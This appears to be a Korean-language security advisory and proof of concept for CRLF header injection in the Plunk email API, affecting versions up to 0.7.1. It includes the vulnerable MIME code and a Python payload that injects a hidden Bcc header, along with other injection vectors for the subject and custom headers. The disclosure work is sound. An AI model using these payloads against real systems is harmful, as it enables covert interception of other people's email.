
Plunk의 원시 MIME 구성에서 CRLF 이메일 헤더 인젝션에 대한 개념 증명 및 기술 분석으로, Python PoC를 통해 Bcc 인젝션 및 기타 벡터를 시연합니다.
심각도: 높음 (CVSS 8.5)
CWE: CWE-93 — CRLF 시퀀스의 부적절한 중화 ('CRLF 인젝션')
영향 범위: useplunk/plunk <= 0.7.1
수정 버전: 0.8.0
보안 공지: GHSA-2mvm-rg5v-7hfq
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
기여자: Romain Deperne
Plunk의 POST /v1/send 엔드포인트는 사용자가 제공한 필드(from.name, subject, 사용자 정의 헤더, 첨부 파일 이름)를 CRLF(\r\n) 정리 없이 템플릿 문자열에 직접 보간하여 raw MIME 이메일 메시지를 구성합니다. 인증된 API 사용자는 Bcc를 포함한 임의의 이메일 헤더를 주입하여 이메일 사본을 공격자가 제어하는 주소로 조용히 리다이렉트할 수 있습니다.
저는 오픈소스 이메일 발송 플랫폼, 즉 AWS SES를 래핑하고 API를 노출하는 모든 것을 감사하고 있었습니다. Plunk는 SES 위에 구축된 SendGrid/Postmark의 개발자 친화적 대안으로 자리매김하고 있습니다.
제 진입점은 raw 이메일 구성 함수였습니다. rawMessage += 또는 MIME을 구성하는 템플릿 리터럴을 볼 때마다, 저는 모든 사용자 제공 필드가 CRLF 정리되어 있는지 확인합니다. SESService.ts에서 답은 명백히 아니었습니다: from.name, subject, 사용자 정의 헤더, 첨부 파일 이름이 모두 직접 보간되고 있었습니다.
이것이 악용 가능함을 확인한 것은: Zod 스키마(packages/shared/src/schemas/index.ts)에 해당 필드들에 대해 \r\n을 거부하는 .regex() 또는 .refine()이 없었습니다. 스키마 계층에서도 정리 없음, MIME 구성 계층에서도 정리 없음 — API 입력에서 주입된 MIME 헤더까지 깨끗한 경로입니다.
저는 네 가지 벡터(from.name, subject, 사용자 정의 헤더 값, 첨부 파일 이름)를 모두 테스트했고 Bcc: 인젝션이 작동함을 확인했습니다. 검증된 발신자 도메인을 가진 인증된 API 사용자라면 누구나 모든 발신 이메일을 공격자가 제어하는 주소로 조용히 복사할 수 있습니다. 현실적인 공격 시나리오는 탈취된 API 키가 지속적인 이메일 가로채기로 변하는 것입니다.
파일: apps/api/src/services/SESService.ts, 137–151행
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
Zod 스키마 (packages/shared/src/schemas/index.ts) — CRLF 검증 없음:
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
원시 MIME 구성에서는 사용자가 제공한 모든 값을 보간하기 전에 \r\n을 제거해야 합니다. Plunk는 템플릿 리터럴로 메시지를 구성하며, 주입 가능한 네 가지 필드 중 어느 것도 정화하지 않습니다. SMTP 파서는 \r\n을 헤더 경계로 해석하므로, from.name에 \r\nBcc: [email protected]을 주입하면 발신 메시지에 실제 Bcc 헤더가 추가됩니다.
네 가지 주입 벡터를 포함한 전체 시연은 poc.py를 참조하세요.
핵심 페이로드 — from.name을 통한 Bcc 주입:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
SES에서 생성된 원시 MIME:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES는 손상된 API 키를 통해 전송되는 모든 이메일에 대해 [email protected]으로 은밀한 사본을 전달합니다.
기타 주입 벡터:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender 헤더 재정의